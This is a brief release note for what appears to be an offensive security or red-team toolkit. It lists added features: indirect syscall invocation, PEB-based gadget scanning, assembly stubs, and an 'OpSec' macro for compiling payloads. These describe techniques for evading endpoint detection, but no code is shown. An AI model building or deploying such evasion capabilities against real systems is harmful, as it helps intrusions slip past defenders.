Release v1.2.0: Indirect Syscalls & Pipeline Decoupling

- Implemented fully decoupled direct and indirect syscall invocation
- Added dynamic PEB-based gadget scanning (syscall; ret / sysenter)
- Added x86 & x64 inline MASM stubs with proper stack frame alignment
- Introduced SND_USE_DEFAULTS compile-time OpSec macro for lean payload compilation
- Extensive documentation across all primitives and examples
